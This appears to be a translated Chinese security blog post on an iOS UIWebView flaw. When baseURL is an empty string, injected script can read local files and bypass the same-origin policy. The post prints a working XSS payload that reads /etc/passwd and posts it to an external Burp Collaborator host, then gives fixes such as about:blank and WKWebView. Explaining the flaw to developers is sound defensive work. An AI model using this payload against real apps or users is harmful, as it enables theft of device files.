iOS開發小Tip之之WebView XSS
本篇文章會介紹一些我曾經在某些ios應用中看到的潛在安全問題。我認為程式開發者(同時也包括漏洞挖掘人員)應該意識到這個錯誤的配置,同時能保證webview的安全性。
下面闡述的問題相當簡單,但是常常被(開發者)錯誤的配置。當你想要在程式碼中配置一個webview的時候, 你通常會使用如下的程式碼:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
很多開發人員都武斷的認為,只要將baseURL設定為@””(空字串)就是安全的。因為只要baseURL是空,那麼攻擊者就不能讓webview載入任意有問題的網站,但顯然這個觀點是錯誤的。
事實上,當baseURL引數被設定成空字串之後,有可能令攻擊者訪問到app的檔案系統(通常來說會使用file://字首)以及任意其他的網站,這樣攻擊者就繞過了SOP保護。
可以使用很多種方式利用這個錯誤的配置,其中最常見的是竊取檔案,也就是說攻擊者可以在webview中開啟任意他能訪問到的檔案。舉個例子, 首先看看下面這個簡單的xss payload:
<script> var request = new XMLHttpRequest(); request.open("GET","file:///etc/passwd",false); request.send(); request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false); request.send(request.responseText); </script>
這段payload會直接開啟手機的”/etc/passwd”檔案,並將檔案內容傳送到攻擊者的伺服器上(在這個例子中, 我將使用Burp Collaborator去驗證收到的請求)。
我只是簡單的將其儲存為html檔案,而後同步到我的icloud上, 最後使用app分享給被攻擊者(通常來說是通過iOS11之後才出現的名為‘File’的app)。
隨後,當用戶開啟檔案的時候, 我自然而然就拿到了對方的passwd檔案:
其他潛在的攻擊方式包括以下幾種:
- 使用一個內建的app開啟url或者瀏覽器: 攻擊者可以傳送一個有危害的url給受害者(比如通過聊天工具),只要受害者點選連結就會在應用的webview中開啟連結。
- URL schema濫用: 攻擊者通過外部(比如:郵件或者iMessage)向受害者傳送一個有害的URL。只要url schema在一個webview鍾開啟這個連結, 那麼利用就有可能進行。
最簡單的修復方案是讓baseURL等於’about:blank’,而不是空字串,例如:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
現在, webview執行在iphone的沙盒之內。攻擊者可以實現一個簡單的彈框, 但是沒有辦法竊取任何的資料或者和有危害的伺服器通訊。這個解決方案在某種場合下可能會影響應用的正常功能, 比如開發者從沙盒內載入了一張圖片。在這個前提下, 你最好設計一個應用可以訪問的目錄、檔案或者伺服器的白名單。
如果開發者應該使用最新的webview類(”WKWebView”),而不是舊的webview類(”UIWebView”),那麼可以令上訴攻擊的成功率大大下降,以此提高應用安全性。WKWebView在預設情況下不運距AJAX請問訪問本地問津系統(因此這篇部落格使用的攻擊方式在這種情況下無法正常使用,除非開發者顯示的激活了這個功能)。除此之外,它還允許開發者啟用或者禁止javascript程式碼的執行。
我希望上述的內容可以幫助到各位。